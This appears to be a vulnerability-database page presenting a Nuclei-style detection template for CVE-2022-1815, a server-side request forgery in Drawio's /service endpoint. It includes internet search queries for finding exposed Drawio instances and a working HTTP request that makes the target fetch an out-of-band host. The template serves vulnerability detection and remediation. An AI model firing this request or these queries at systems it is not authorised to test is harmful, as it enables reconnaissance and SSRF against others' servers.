CVE-2022-1815: Drawio <18.1.2 - Server-Side Request Forgery

2025-08-01 Drawio PoC Public

Description

Drawio before 18.1.2 is susceptible to server-side request forgery via the /service endpoint in jgraph/drawio. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC

id: CVE-2022-1815

info:
  name: Drawio <18.1.2 - Server-Side Request Forgery
  author: amit-jd
  severity: high
  description: |
    Drawio before 18.1.2 is susceptible to server-side request forgery via the /service endpoint in jgraph/drawio.  An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.
  remediation: |
    Upgrade Drawio to version 18.1.2 or later to mitigate the SSRF vulnerability.
  reference:
    - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f/
    - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f
    - https://github.com/jgraph/drawio/commit/c287bef9101d024b1fd59d55ecd530f25000f9d8
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1815
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1815
    cwe-id: CWE-918,CWE-200
    epss-score: 0.05389
    epss-percentile: 0.9226
    cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: diagrams
    product: drawio
    shodan-query: http.title:"flowchart maker"
    fofa-query: title="flowchart maker"
    google-query: intitle:"flowchart maker"
  tags: cve,cve2022,huntr,drawio,ssrf,oast,oss,jgraph,diagrams,vuln

http:
  - raw:
      - |
        GET /service/0/test.oast.me HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Interactsh Server')"
          - status_code == 200
        condition: and
# digest: 490a0046304402205c17e17b56b659628d0d6b47fbc5740bc962e3fc8a9e283c2cfebdbc5598ffbe02206946b21260fba4c3992ebe645a4ea185323a35897cb2ad75d89729154dcf5f69:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities